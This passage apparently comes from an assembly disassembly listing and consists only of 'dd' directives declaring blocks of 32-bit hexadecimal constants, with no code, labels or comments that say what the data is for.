		dd 842F28E0h, 0E4BB268Ch, 17956771h, 0C9A73207h, 0BA6930CBh
		dd 0EBC3D14Bh, 0B5B3485Bh, 0DD650510h, 303E7F2Ah, 0B0A4BBA3h
		dd 40CF23F2h, 0E49B04A8h, 8F6B5424h, 0EA7CFA9Eh, 0F4547654h
		dd 6B9D19E6h, 1C629FEAh, 0CB2A801Dh, 0F0C2952Dh, 0D1647ADBh
		dd 0A7D598CFh, 0D11D3728h, 46C71F56h, 98FD518Ch, 0D82DD28Ah
		dd 0EE3852AFh, 898F7C35h, 90DB72E0h, 18A50C92h,	0C8076F7Dh
		dd 73A15F0h, 6113457Fh,	0CD69745Dh, 0BBE719A7h,	0AA0E8B58h
		dd 0AB8D9D1Dh, 84ABE469h, 0FDA72235h, 81BBD1Dh,	2AC51B36h
		dd 0B4BC9B09h, 5A67B6D8h, 0B2EDC8B9h, 0D747ACAAh, 6F7AD10Ch
		dd 105F4C28h, 1002FE11h, 0F564C44Bh, 434A3148h,	0F6D81EAEh
		dd 2E2F6E8Eh, 0DC599296h, 0B1605545h, 0EA837A25h, 97046757h
		dd 0E6816FE5h, 0E125442Bh, 0F0E3DA07h, 86DA36CAh, 3E844E3h
		dd 576C8D01h, 0C08EF8FEh, 82AC83Eh, 2B5A1C11h, 0F6FC1D35h
		dd 7B9B1C53h, 8689BB4Ah, 5F17184Bh, 525EA3Ah, 0B6B1974Dh
		dd 9114010Ah, 0BD50793Bh, 3021019Ah, 0BD24C6AAh, 0B9B68A52h
		dd 0C2AB20B4h, 0F62EB0A6h, 0FDE56DACh, 7FFB5AE5h, 80F1E184h
		dd 0EA899E72h, 8D81B03Eh, 0A8EDF6A7h, 0EEEE8DD3h, 6E337F37h
		dd 993FD664h, 9EE41C7Ch, 0D422324Bh, 6995F01Dh,	9CD52DC9h
		dd 7D591480h, 2BB297ABh, 0D2AD7ED2h, 0A9A9D6F1h, 0CDB9EEBAh
		dd 36904EA2h, 0DB776C10h, 6062D04h, 0D86EE53Eh,	76EE992Fh
		dd 140EF304h, 8577B606h, 0D19F1E03h, 0A21C0285h, 0F2608799h
		dd 95E73916h, 9E87DDEBh, 0FE35CF4Ah, 875537C3h,	61F302D4h
		dd 0FD804A6Ah, 45B538E5h, 96900A97h, 456E5C5Ah,	5A2DED6Bh
		dd 0DDFA3F1Ah, 0D894AF11h, 59F58EA2h, 42F74D2Fh, 0F3EA257Fh
		dd 15903369h, 0DFC7099Dh, 6357E16Ah, 0B28B80AFh, 591A1BB5h
		dd 3DEDAEA2h, 517D33C1h, 2EB6309h, 6626FDA3h, 321330B0h
		dd 0F0A79CB8h, 0F98A3997h, 8C560138h, 68765289h, 0F914C1E1h
		dd 6D881EF5h, 0C8DFF880h, 5FEB97C7h, 0E4A6F886h, 2EA4F6F5h
		dd 40E4BC53h, 38553575h, 6F7BDB45h, 0E1610DFDh,	0AF2F5404h
		dd 0CA43A9A9h, 0DF666422h, 39951AD8h, 0AEA221BCh, 0C8EC0C65h
		dd 0AA44EB7Ch, 9052730Bh, 41F8C6C7h, 0DBEF7FBEh, 0A6E235F2h
		dd 1496586h, 0AEC8CB29h, 0C209213Ch, 0FBA9377Dh, 8396F86Ch
		dd 0C70769ECh, 1A9215ADh, 9A5E507Bh, 41AB4A40h,	9D8E5A4h
		dd 3843A724h, 326C9DC2h, 43BDE722h, 7CAFA4BAh, 1F034769h
		dd 0F805B7B3h, 0AFD05F69h, 2A3CAF16h, 0EC536E36h, 64AA92C4h
		dd 0F5974095h, 0A6B4C000h, 19052199h, 8A1997BAh, 4AC6A6DFh
		dd 0F1D5AD49h, 65EA1C4Ah, 0C0022BB4h, 9796A478h, 0EDE0DA05h
		dd 56D60DC6h, 65956E04h, 681C926Dh, 0EBCD8DF3h,	24E3869h
		dd 0E05D56C9h, 806899A4h, 0F74DC780h, 0B028D57h, 5BFFF73Fh
		dd 0E0D7ABDEh, 427B1AE2h, 0A5543C96h, 0DF6F4624h, 1E7D2490h
		dd 91C905E0h, 983246DCh, 2F79498Fh, 518D00D0h, 2EB4F4BDh
		dd 1616F4FCh, 7D9812F0h, 911697CFh, 60EBA5AEh, 30365A1Fh
		dd 92244798h, 0A9B022C3h, 84C5B038h, 0C9E547E0h, 0D2574A97h
		dd 3855FDEDh, 0ED554E6Fh, 8DD8ACA4h, 0F27B0B77h, 0EEF6247Dh
		dd 0F7AC4629h, 0DB3B0CB2h, 0EBED0E1Dh, 0AACCB9FFh, 572D71EEh
		dd 68906B49h, 31D6D34h,	246EC336h, 0CDD5A718h, 2E3FB1h
		dd 0C89C03EAh, 295CCA8Dh, 42608538h, 6BE6C3F7h,	7E5E05ADh
		dd 0E96402A7h, 0E9C9E1C7h, 3C22FF08h, 5449886Dh, 0BF23BDB1h
		dd 874B3886h, 0CE1C04B3h, 2A1C91C6h, 799DBDCCh,	4F5E8068h
		dd 1D0B6F41h, 0F2BE2D36h, 7AA249C5h, 0FC0A5F1Ch, 4B9A61EAh
		dd 102E52B9h, 71CEC2F5h, 5EDF444Ch, 487D64E2h, 0DBE7AE8Dh
		dd 8394AC7Ah, 934ECC7Ch
		dd 36677563h, 0A7FF1A67h, 31589584h, 0EB57E4BDh, 0E1671432h
		dd 0BC334041h, 0AC67C2F9h, 4F10DFE0h, 0F9B85E34h, 2721B0C8h
		dd 0B50AF6h, 0DA818349h, 6D1E3B5h, 7E66E843h, 0C15D3F6Dh
		dd 8F332185h, 190E36F7h, 0A219B683h, 0AF8459CCh, 170B0AB8h
		dd 0FEE8A90Ah, 0EA11A0AEh, 0AB6AEA16h, 0C62351D3h, 13755BBCh
		dd 0D0EFA0Bh, 0EE18FF07h, 0CFD61B2Eh, 42987BE4h, 83B68528h
		dd 0F1541B82h, 6279A02Eh, 0B5A6B787h, 0B8543C14h, 7C413E8Ch
		dd 0E19F9815h, 0C0966621h, 3E367DF7h, 2905E2C3h, 117CEFA3h
		dd 9AA7AE31h, 5A4B868Dh, 4F5F896Fh, 9CD924E6h, 0B9990720h
		dd 0FB3869CAh, 9D5340A3h, 0C66BA5E7h, 0FE114B1Dh, 8F067053h
		dd 7CA7668Eh, 5C1B5374h, 0BE946340h, 41C71640h,	676C96Dh
		dd 0EA2F636Eh, 0F5B72E85h, 0C05CD18h, 7B1932DCh, 2C966BFAh
		dd 295E5C4Ch, 41CF9DDAh, 95FD7D3Ah, 0A450AB2Fh,	1A0B435Bh
		dd 9FAE6FB7h, 4FBE11A8h, 8955361h, 41107F17h, 0CBDBD32h
		dd 0E6875B57h, 325992B0h, 4A0A0231h, 62CC1592h,	2198F27Ah
		dd 0E8EBA623h, 833A6677h, 68E24366h, 0BDE82269h, 0E920FD86h
		dd 594FA565h, 389C4E33h, 74788B63h, 3F9360C2h, 0DE3248Dh
		dd 0C4834433h, 0E06AC822h, 7A795E86h, 0C07FF43Eh, 1565C5A3h
		dd 10F2BEF6h, 1E71D0F3h, 0BFCD0DCBh, 9DD83A23h,	1B3A2854h
		dd 0AFD48BAAh, 0C028FD36h, 0E4313BCBh, 536A7B17h, 0FC4FB0A8h
		dd 0F4CD788Bh, 242A3FFAh, 4EDEB32Ch, 27F3B08Fh,	61E5F48Dh
		dd 869409B9h, 25FDE9E1h, 0C1B3A82Ch, 0CA2CE749h, 0C5CED97Eh
		dd 39624604h, 0B2A7AAA0h, 334DDA02h, 0ACE62960h, 0CE81A9ADh
		dd 8AB1B09Fh, 836F84A3h, 75992F6Ah, 1D259DE1h, 139525D0h
		dd 0CEFACEh, 7A000927h,	0EC800B59h, 0ACE0023Ch,	0EAB28674h
		dd 1BBEE9C7h, 0EE964AF7h, 955A6D8Fh, 37CCFC15h,	3EE4B035h
		dd 0AC07B30Ah, 57A12A9Fh, 5FD1425Fh, 0A2610CF7h, 0DD6CD685h
		dd 0D137A38Dh, 7316EFBEh, 9E8561F0h, 0B13A1E0Bh, 8223EFAFh
		dd 0AEAE4BB3h, 0E5CF4612h, 211A4354h, 87B4FBE2h, 0EC7217CFh
		dd 0A8718806h, 886972D9h, 0ED40B67Ch, 5815F7ADh, 0C3955724h
		dd 47401CAEh, 6D0A718Ch, 0DE6FA122h, 1957876Dh,	64B308EEh
		dd 0AFD13059h, 0ED42254Dh, 0E205FD1Bh, 9EC470Bh, 4A7B522Fh
		dd 80986FBFh, 82C56354h, 52C73539h, 0DFB6E0A5h,	6A5F2A30h
		dd 0BAFC0381h, 78993504h, 92349A2Dh, 2DC7CEFh, 68BACAABh
		dd 92FF82BCh, 3C675641h, 42BBA1BBh, 83C7741Ah, 0E5646650h
		dd 7C07CB5Ch, 1E67008h,	0E71D4EC9h, 0CF02E1AEh,	6BAECB64h
		dd 940747D4h, 33C43639h, 25B3821Fh, 1058104Fh, 0FCBE37A7h
		dd 4F4F8756h, 0C3419F97h, 0F0C224BAh, 2F96B26Eh, 9AEEAC1Ch
		dd 0D7D6C0FDh, 0B0FD6287h, 15AEE496h, 9B7886DBh, 83D24683h
		dd 3DCD53Eh, 0BA49F0D1h, 94425BB8h, 0E9D8326Ah,	0D322DD3Fh
		dd 9C6D3FD0h, 0E794E98Eh, 45046B02h, 7F41591h, 5F5C1F1Eh
		dd 0B7E466FAh, 0A6DDA82Ch, 0DFD8848Eh, 9CBAB0C9h, 0AFC89D7Ch
		dd 83B8CEE1h, 0B60E5319h, 28D09C8Ch, 1EA3260Dh,	81054DF9h
		dd 0A3159435h, 0F04C46FEh, 0A6335649h, 416079DCh, 7FFACF85h
		dd 33F0BA74h, 0D0F7C0C1h, 0B85B5756h, 0ABC253F0h, 87F7A971h
		dd 9C2A549Fh, 88FFE995h, 45A51CDBh, 0E7EA8A10h,	7FBF227Dh
		dd 0A2950391h, 492BD862h, 7D3493C5h, 315175D1h,	3ADE5984h
		dd 722F1A62h, 0B0CCB058h, 7F460CFDh, 0B3060A11h, 1916E9AAh
		dd 9C1F5C35h, 0A75D3B0Fh, 0B884BF64h, 18578994h, 0CCA6A975h
		dd 0D719D37Bh, 0A82B1AE7h, 53845FCBh, 0BC82AB07h, 0DB4D04A8h
		dd 9B1895BAh, 13929802h, 0BA295998h, 0BC58CC3Eh, 71CE1B3Ah
		dd 0CAC059F0h, 4AB133FDh, 0F9110386h, 7D39C701h, 0A05D8C0Eh
		dd 0F385DADh, 39C272D0h, 0A0594E1Eh, 34A61394h,	0D2CEE332h
		dd 28C5D29Fh, 9FD7475h,	4DB4DE89h, 85C56407h, 0D8E79A0Eh
		dd 0ED701081h, 4C74BF15h, 2F6841B8h, 0ACBF7C43h, 0FD305B7Bh
		dd 5171E216h, 190F5922h, 0B0D01944h, 0E11F9244h, 0BF0A62CBh
		dd 7460DDC3h, 0CCFC3814h, 76D60E70h, 0D27A3844h, 0F249D2A9h
		dd 78061941h, 0EBCA902Ch, 219F449Dh, 9FB7B6E1h,	38C77F2Ch
		dd 0FD93EA64h, 966B89B9h, 0E143ECFFh, 54EFD22Ch, 525E1F51h
		dd 24BD42D6h, 2232CE07h, 81506DE4h, 6ABF48C9h, 213CF016h
		dd 4837C7F9h, 0CA21EDEAh, 20A250DAh, 4712D7C5h,	6C7FDC85h
		dd 0E80DAEC2h, 2AB5D2E6h, 9B4C96AEh, 5FF1CCECh,	0B55D18B2h
		dd 386D7758h, 4A45468Ch, 5C9F693Ch, 0B63BD23Dh,	0ADCCBE2Ah
		dd 2DA94C2Eh, 67236579h, 47BCC56Ch, 0C14B95FDh,	2BF7B94Eh
		dd 67A4F4BEh, 5E92BE13h, 2701BC71h, 0EEA145B4h,	5EA65EFAh
		dd 53DB3EC0h, 1487D39Bh, 0DAE1A1BBh, 2C942709h,	9DB514C4h
		dd 66D5390Eh, 0AE39F50Ah, 63EB7A46h, 4D07F868h,	49624183h
		dd 0AF52911Ch, 24626B02h, 0CB786C75h, 8B659944h, 4067355Fh
		dd 0B4542EF7h, 0D5D9823Ah, 0F70EB69Fh, 29F5708Bh, 2FA8324Bh
		dd 0BEBBE52Bh, 0E76B0140h, 0FF658F41h, 0D299DB2Fh, 1A97DF60h
		dd 5A19AC8Bh, 2C3687F1h, 0A8674102h, 0F0A42D3Ah, 216C4E43h
		dd 278536CDh, 7B48A79Ah, 55E80A83h, 0D14FF077h,	60DC85B1h
		dd 5E2B51B0h, 2B4A31AEh, 0F9CFE331h, 23F8DD41h,	0FE5FED98h
		dd 6808026h, 87635156h,	23A7C91Ch, 95883D96h, 3D6F2DFFh
		dd 0B834E75h, 5F8E2552h, 4F37D69h, 0A20C65B4h, 0CE132888h
		dd 5FA8B068h, 0FFA7E9EBh, 0AB5BDB34h, 0ACAA969Eh, 188A74B7h
		dd 0C92D6D79h, 0E15FA286h, 721E5B1h, 43C8E83Dh,	0E8104435h
		dd 28D0A6EEh, 4BAA5599h, 8AE2F23Ch, 0F3A6807h, 0B3481CDh
		dd 9DA11781h, 0CC3EAC2h, 89923150h, 0E972609Dh,	0E9EDDCADh
		dd 4A75B496h, 9A927A7Dh, 0E08C40D6h, 83027FFCh,	32D4FF91h
		dd 2C3356C9h, 90FC5F4Ch, 8B80EB14h, 0DE19587h, 0FD44601Ah
		dd 71B6B9D2h, 48E9E978h, 8236D37h, 0BAB07069h, 0D254F2BFh
		dd 643C8529h, 66E1349Eh, 6907DDEFh, 0EB38A5E2h,	261366CEh
		dd 0B5C94A37h, 71090CF2h, 0AD7E3EEBh, 75B9D18Bh, 987BDDDBh
		dd 0FD1226EAh, 0A603EA10h, 0E97E8698h, 0E3D9C18Bh, 43B04A20h
		dd 0C291601Ah, 0C3C7B6E8h, 1664B22Dh, 57866333h, 87F28DB3h
		dd 0D2E03E1Ah, 0CE9C43D1h, 24CE31D1h, 3C23922h,	0B19E590Ch
		dd 60772C91h, 644BDA1Bh, 27BA99EEh, 6768F3CFh, 98770C15h
		dd 55062015h, 1BD1F77Eh, 0D1087E9h, 57789B36h, 0A9BB8711h
		dd 0EED44F11h, 39176158h, 0AD94DA9Bh, 371CA640h, 0D8A93290h
		dd 0FA227A94h, 4BD25975h, 0A531B46Ah, 40C2ADFDh, 0DD6D5DF2h
		dd 219B8B4Dh, 17A595D1h, 44B17268h, 9C07A703h, 25193F1Dh
		dd 0C756A47Bh, 0A2F871CDh, 95226ACFh, 0E883728Ah, 4AB5C148h
		dd 44804437h, 0AD0B3287h, 79A2B753h, 0FFA16F60h, 91E2CD34h
		dd 7C0C9818h, 788C66EFh, 0BFB36A85h, 0D8BD43ECh, 2604396h
		dd 916A190Bh, 0F4CEB78h, 298C031Fh, 0A504A641h,	0F0C43B43h
		dd 1765A859h, 965BE6FBh, 3FDBC8EAh, 162F5D6Ah, 2A45ECE0h
		dd 8F3FECB5h, 0FAFD7252h, 3CBBFB58h, 55BF243Eh,	6D705525h
		dd 0AC11C582h, 1E85198Dh, 5BAF2FB8h, 0AFD44C7Ah, 74B76209h
		dd 0B69BCA2Ah, 108A157Bh, 9CD9DCB2h, 0C0FB22DFh, 99400B78h
		dd 6AD9A0F9h, 31D8D5D0h, 11D99E11h, 2531686Ah, 0C7479B59h
		dd 5B03C1FFh, 0F3AA01F5h, 0EF3D1815h, 0D0321124h, 0C11B29BDh
		dd 37572207h, 163EC53Ch
		dd 0B9C8744Fh, 0F287C819h, 6E43CD27h, 449B571Bh, 61EDD6FAh
		dd 64D1C68Ch, 0EB5EA3AAh, 21F76697h, 0FEDDE9AAh, 0E19F2481h
		dd 0E42E16ABh, 14617AFDh, 0FABA2A99h, 695C3507h, 91E65381h
		dd 0C29978F8h, 6EAC9B0Bh, 421B0B73h, 91F4A881h,	0D47581BBh
		dd 0F75BDD8h, 0A55FFFEh, 1A9C223Fh, 0CCF62DC8h,	0C2DF52Ch
		dd 68D94BABh, 0DD9F6173h, 4830E45Dh, 0F3DE5FB1h, 6CC95964h
		dd 0AB180DAEh, 0D27E2AA6h, 8EB2B736h, 0C1FAF6CCh, 7BB169BBh
		dd 0DB79849Ch, 9289011Bh, 25D2E9Ch, 0AF1B299Ch,	3ADA3001h
		dd 0BE7ED980h, 0FA13FACCh, 0DEA14449h, 0FD1D0C2Ch, 11266341h
		dd 525AE4CAh, 97C88A54h, 0ADDECAACh, 0ECC5294Eh, 8B5DAF2h
		dd 824DD995h, 7EF79F35h, 0F7B54CC0h, 22952C92h,	573788F5h
		dd 0C1074B23h, 5465BB0Ah, 0BF057847h, 11F116FBh, 0E9A1E41Fh
		dd 3BD487C3h, 59719963h, 3352954Dh, 92EEC217h, 0F1F77B31h
		dd 5BB0907Bh, 0E3A2D5EDh, 0C9F1C5FDh, 0A94FCE56h, 0A16F8BF3h
		dd 0FA548739h, 0C09BF19Ah, 0F62226B7h, 4660AA4Eh, 0EB7357ADh
		dd 0A17F0AB7h, 0F84ACDDBh, 0F3AA9DDh, 0FEAC6852h, 5BBBE056h
		dd 0F36DDA30h, 0A826E364h, 622183B1h, 3302A327h, 4954EDBh
		dd 529AD811h, 36A1DDA4h, 0E212E404h, 9C79CAE8h,	0D973E621h
		dd 71A1A63Eh, 47BE397Eh, 54D52D5Ah, 0CCF27AEBh,	0A327C3C4h
		dd 51A2660Bh, 0ADC3D683h, 5008D756h, 26CB9635h,	0CE68CE29h
		dd 0AC9AC1F1h, 1C42F806h, 0FC102DCAh, 1590CA04h, 0F927A658h
		dd 97AB6F2h, 0B78B765Eh, 2DC3DF38h, 12A375EFh, 0EF16DFC8h
		dd 0E9D51027h, 0F327221h, 3DAF8309h, 16B7BB28h,	9C3A2BA1h
		dd 46AC575h, 4DAC3D8Ah,	1A33448Bh, 0AF20DAEAh, 0CFA38896h
		dd 87B7B14Fh, 1E3EA1D2h, 30FB79CDh, 4307F00Eh, 0AF61B62Ch
		dd 5EB59561h, 0CEF762D7h, 1A73BAB3h, 2EA0A8D6h,	5CF23ECBh
		dd 425D7202h, 0FD72F46Ah, 6FB211FDh, 0FD7D6273h, 0B479113h
		dd 0BA3CB2B6h, 0BA0B56A6h, 180EF744h, 9750CE92h, 2AD2FE65h
		dd 0D8E1419h, 0B6DB3663h, 98711564h, 0D0F91C4Fh, 0CA17709Ch
		dd 5194C9C0h, 0AF06994Dh, 0BEE8A85Dh, 0BB266EEDh, 0C0B185F9h
		dd 216876CFh, 3C92793Bh, 52D420C1h, 793D3303h, 85185532h
		dd 3B9573Fh, 0A238DE03h, 2E3CEA3Bh, 5F4D79B1h, 74BEE0CBh
		dd 0C9899A69h, 0C071F56h, 7A79D3A7h, 41A5B428h,	77B81639h
		dd 0F161FB63h, 0ECC51503h, 91CB52EAh, 158BC0A5h, 0B2F6BC81h
		dd 0F8A9E1D3h, 4FBCDBB3h, 4CF90E6h, 90AA1A10h, 8877DDBFh
		dd 0D93FDEFBh, 7745A873h, 8E826255h, 0DB5BCED3h, 8F192DF3h
		dd 10FED876h, 0E3526CC2h, 0D038EDEh, 0DDF4A4Ah,	3647DF03h
		dd 70A9B04Bh, 5D844AF4h, 5AA89302h, 0AD2D5800h,	0F9B99BC2h
		dd 0A9B83252h, 36921E78h, 0F95E0B5Bh, 0A9C00D00h, 0FEA48887h
		dd 59013142h, 64ACB54Eh, 4C9BE2AEh, 0EBA7E92Bh,	8252080Ch
		dd 0E63DEE71h, 87E512ACh, 18503A0Fh, 985913Bh, 0FFEE1Bh
		dd 22C5F9AAh, 0FD1D5548h, 0FC55BED4h, 0D699C71h, 8F36CF67h
		dd 70F51C76h, 784706A7h, 0D372AF21h, 5F5BFED3h,	0DD49D4AEh
		dd 3657735Fh, 0E7558A67h, 0F7A0A1C2h, 0CD2BF63Fh, 618BB03Dh
		dd 1CA022AEh, 0A2BEF614h, 944DA751h, 0AFA5EBADh, 0F5941B72h
		dd 2E223CE4h, 0CB15B5F6h, 54C2E393h, 9E55B280h,	0FB5E74CFh
		dd 0B6BF9540h, 1A2C907Bh, 0E268577Bh, 0AF9D3800h, 0A71C349Ch
		dd 4A3B1220h, 0EA95A50Fh, 0FD39ED6Ch, 40EE9F9Fh, 0E3FE2C9Bh
		dd 0A22D2263h, 72BBD7EAh, 0F48D704Ah, 2B63DB5Fh, 0DAF4035Dh
		dd 85A3B4E5h, 0F96EB939h, 183F51C9h, 376AF9ECh,	0E780FBE8h
		dd 7B5AB29h, 21F3FB92h,	8A2B9893h, 878D7DFDh, 9553A662h
		dd 0FDD86C8h, 7CE5F186h, 3272B9FCh, 0CB28ECA3h,	46376F4Bh
		dd 862B312Fh, 57F33DF5h, 88406BEAh, 814E5DB6h, 2DDB8935h
		dd 4985EBAFh, 1B13BFB5h, 0F9383AB6h, 7A02E966h,	86FBD6A0h
		dd 19521C39h, 0B31E09FCh, 986F4D3Dh, 3E98641Ah,	9130564Bh
		dd 47422EFBh, 45436070h, 288E4881h, 9148420Ch, 71F1CDC1h
		dd 0DE7E6511h, 3FD1FC74h, 8B636C0Ch, 0D6B5A3EDh, 0F6941DC5h
		dd 936AADE2h, 88399937h, 455F799Ah, 0CC988D8Fh,	57D8BC1Bh
		dd 0FB874B4Ah, 0E8A82D1Bh, 0F0C44B5Bh, 18F98C87h, 0D7B50486h
		dd 8D920FD4h, 6D8F953Fh, 0CFFE1A96h, 0BC2A8D58h, 2318F8DEh
		dd 0FEF79AE6h, 250CAA36h, 0E250BD48h, 9B5B7B13h, 0AD372810h
		dd 13D5641Dh, 1FC003F8h, 0A0716B22h, 8F12BFCEh,	0C517976Bh
		dd 518B2DD4h, 0A0641B6Ah, 9885B225h, 352C796Fh,	0B2B2064h
		dd 746A3417h, 2C687DC4h, 0DEE39ED0h, 0EC95B81Ah, 618F7508h
		dd 0F0AB4BBFh, 0C9D69975h, 1403D8CFh, 0ADA5DD2Ch, 0ACD64217h
		dd 0E2521C20h, 0EB821854h, 29AD0CA8h, 0F1300076h, 87E29144h
		dd 0A77867C8h, 37B4E0A9h, 67C5786h, 0AAE9530Dh,	0E9EDB4F6h
		dd 0A77D8982h, 0EF127529h, 0CAB984A6h, 6D5DDBAFh, 6B22E8D4h
		dd 9D0CBC42h, 54BC9DC4h, 87A345ABh, 10F58922h, 1F50A9D2h
		dd 0EF62DE15h, 0A1325DECh, 4B5E78A7h, 0D23F0530h, 0AA323863h
		dd 0C2D0E230h, 4A4FF8ADh, 7B6360C5h, 774D647Ah,	0E90983E9h
		dd 0B10EF6B7h, 0D8A882C4h, 33915478h, 0FEC3BE47h, 923BB4C5h
		dd 2D676125h, 0A1EB53D8h, 9D60F976h, 0D41FB21Ch, 0D6C8216Dh
		dd 0EEE8C681h, 21F66B2Ah, 3F94CB40h, 777B9F24h,	0B0AFDF97h
		dd 4953D02Ah, 9AB09E7Ch, 56D60A7Fh, 9D8344CDh, 0F1A731F6h
		dd 4B571F4Bh, 92527AFEh, 0D5BDD014h, 0B2269D1Bh, 3A61083Eh
		dd 594CD3A7h, 6314BDA8h, 0BC06EBF2h, 6C4AEC11h,	0E1AF087Ah
		dd 9F38A106h, 536A8446h, 31FA48F6h, 0EB41D9B0h,	5422B52Fh
		dd 0E366CC56h, 0C0536945h, 0D7BCE781h, 0FB25DBDBh, 449EE1AFh
		dd 0E603374Bh, 7ACF9EFDh, 17F54604h, 0FDBDCDDCh, 423FAABDh
		dd 3DCBDB3Eh, 4BBB150Eh, 0FBE89FCAh, 5EC4D46Bh,	2DE74B4Eh
		dd 0CEDB7D78h, 23DAAE19h, 491E3516h, 0B833C513h, 653E5C32h
		dd 0E27F121Dh, 1066B725h, 0A2858C25h, 5715E41Ah, 79DDBECDh
		dd 615DC0E2h, 7737742Ch, 31743956h, 1B900D52h, 741D204Fh
		dd 0F97F9FB8h, 0D8A9EA61h, 4A598F4h, 897C9FD8h,	3C51D1E0h
		dd 0B3FDD805h, 464A9C52h, 0D62D82B0h, 0F375EA2Ch, 0AB30C676h
		dd 2DCEA752h, 0EEE5EC6Dh, 0D5D40078h, 861A6DC0h, 341F3BF3h
		dd 0C30A7128h, 0DDACB56Fh, 4BB6061Eh, 0AB73C84Bh, 2C5AE570h
		dd 7D4D802Bh, 4692F7E9h, 57E054FCh, 0EC986D00h,	0D5A9E549h
		dd 3BB238C8h, 3A9B6105h, 769DF83Bh, 0B3C58F69h,	7C2F8D3Eh
		dd 0BDE5D6F5h, 59786D30h, 6C47327Ch, 0AB7F1C9Fh, 0BF70325Ch
		dd 3A52DDD1h, 0F01BD66Ah, 6005C822h, 0CE56ABE8h, 18AEC58Ah
		dd 0BC6909A1h, 0D6EB7C3h, 444C67B0h, 0CAA7F80Eh, 0D173F02Ah
		dd 6BCBEA38h, 4EA53CAEh, 0D72CE091h, 0B6E46824h, 0A085EAF8h
		dd 4C9DE732h, 0D4C91865h, 1BDAC8DFh, 0B52D6EB2h, 5393605Ah
		dd 933750D2h, 575BC46Ch, 48628C4Eh, 918DC81Bh, 3E067387h
		dd 0F5326B28h, 78D8C39h, 68375232h, 0B81BB951h,	66C1BFD6h
		dd 0C72D94E9h, 30057B50h, 86C64533h, 0C6EA8002h, 5A5B90E6h
		dd 7565512Bh, 7409055Ah, 68A9C7FEh, 0F783A781h,	45230A50h
		dd 0F0BC8208h, 55CB9F2Eh, 0F5E49148h, 51C8E801h, 98796CEEh
		dd 9358468Ah, 52D048BAh, 45FEB145h, 0E3449EDBh,	6AD62C25h
		dd 9A03BAD8h, 8CF3EB60h, 119173C3h, 0E6C07F36h,	0EAEB0484h
		dd 43921C7Eh, 19E634A6h
		dd 2443E3B5h, 51568F47h, 0CAF8AF27h, 0B385C3D2h, 0D9EBE37Bh
		dd 1DDC8422h, 0EEFE979Bh, 7A26E2C5h, 46BBB401h,	2D8BA22Bh
		dd 81C23A49h, 855BFC77h, 655FCA3Fh, 0FB4CCE91h,	62272A75h
		dd 8629D05h, 0BB2CFBF2h, 82C3B3EFh, 0E7EC8DF7h,	771992DEh
		dd 3255216Fh, 0A6958E8Ch, 74543A91h, 1B90DFD4h,	0B08A0E52h
		dd 0B0774B87h, 6CBBBF77h, 68039F2Dh, 5C3FC8E7h,	5A692BFAh
		dd 1A79CE16h, 75D41C58h, 1D6AEAAFh, 1E37080Ah, 0BDF0C211h
		dd 3E1F4C39h, 0A0B16686h, 8978FD57h, 27C28B16h,	58E1E06Ah
		dd 0EE93E760h, 0D4528792h, 0E1EBE137h, 0D9842B9Eh, 0F54794FBh
		dd 0A0DA75B9h, 7810F0C4h, 3C8EE3A7h, 0DE80068Ah, 29904472h
		dd 81BDDA77h, 8B53DE38h, 0ACB06F8Ch, 0F051E9F0h, 0EFC0133Ch
		dd 0F07CCA2Fh, 0D9FE4812h, 0E39D6EEAh, 0E20A4421h, 8CEA72FEh
		dd 973CD28Ah, 1EFD1E1Dh, 94406638h, 0B203C111h,	0CDD048E0h
		dd 2C162F26h, 0DEE475FCh, 0DABF5786h, 119009D9h, 0B9964250h
		dd 104DA814h, 0F8C4EAAFh, 93C13B51h, 1A22FDACh,	291D0FEDh
		dd 317E43Ch, 0BA08596Dh, 0E053843Bh, 9752873h, 0BA78E914h
		dd 0A851EF7Ch, 0BFC7266Ch, 71BEC963h, 1EBAEFB3h, 0C586A4E5h
		dd 9E83D443h, 0C77E08CBh, 9DE5AC1Bh, 3D17AF55h,	0A8BE2EE0h
		dd 0F53E12C0h, 0D0AD428Ah, 8371500Fh, 0C9F15CF6h, 0C207BC44h
		dd 0C575D27Bh, 0B85A3E0Fh, 0E12AECD7h, 0E8F0D9F4h, 6A3C4A79h
		dd 0C5ADAC2Ah, 72F8F5A6h, 0E28951FBh, 0DE418C12h, 0E1566367h
		dd 0FDCBBAE8h, 0D64A0157h, 26E41142h, 756E6BD2h, 0FFD55545h
		dd 77AA6059h, 0B1A6D4D5h, 45049E07h, 821168A1h,	23DBCA36h
		dd 0F8E2F2A0h, 40EFE6C0h, 7354060Eh, 0F0FB203Dh, 0D1EBD3B0h
		dd 65084F87h, 1C59A06Ah, 0D4D06A30h, 5206C3B0h,	5B4E3E49h
		dd 0E9E32B5Bh, 0F0FDCDCFh, 0BA92115Dh, 0E5D2B4A4h, 44F3201Ah
		dd 38453E7Bh, 4406FEEAh, 9C622DCCh, 0D4F0C78Ah,	12CC20DEh
		dd 2B698789h, 9A9FACEDh, 8AB8CA9Ch, 8849E12Fh, 0E8AB7696h
		dd 6AF4DAF4h, 0E00946BEh, 57B8AFFCh, 0EA756B5Eh, 881A430Fh
		dd 0AFABC7AAh, 389E192Bh, 95DCA8F0h, 34C053ECh,	6D577DB4h
		dd 40589651h, 1023B9B2h, 78D0A229h, 833716BEh, 21E9A0F8h
		dd 7D6C5138h, 5C1247Dh,	80A52CCBh, 51775831h, 0D7052349h
		dd 0B208E95Bh, 0F926B518h, 2CD51CF1h, 184A0D27h, 7812776Ah
		dd 5FD90150h, 1C3D5863h, 0EFB36EA0h, 5692B0E3h,	0FC844A49h
		dd 7EDD0ABh, 9EFDB855h,	0ABCF85F0h, 8703225Ch, 7AEA975Ah
		dd 683D593Ch, 0CA355882h, 7D519216h, 9696DE03h,	0E6918DAEh
		dd 0B183ABA6h, 74FF2752h, 70B8C673h, 26800AE0h,	2EE61F49h
		dd 2B9D9F9h, 7BB36CADh,	0C2ADCB8Ch, 7A1178A1h, 0BBA8E369h
		dd 98F1490Fh, 0E6E49405h, 495CF5E4h, 0E23C14F8h, 7A961C82h
		dd 19C19074h, 6F45A546h, 0BA1F5271h, 0B60480EBh, 5A46A76h
		dd 0B93C93BCh, 2B7914D3h, 3C43DEB3h, 45DFE2B7h,	8A085609h
		dd 49A495BBh, 63366B99h, 67AEF664h, 0FC3CE566h,	89B94C01h
		dd 60A7CF38h, 0DFC642D9h, 32B2E279h, 0C56A4B07h, 37B73010h
		dd 7CE05B5Bh, 85803078h, 0D85211F9h, 7F3A8B8Dh,	957EEAD1h
		dd 594AE9C7h, 0CA442FE4h, 595D4224h, 96DD7A0Ah,	0EA9F2BC0h
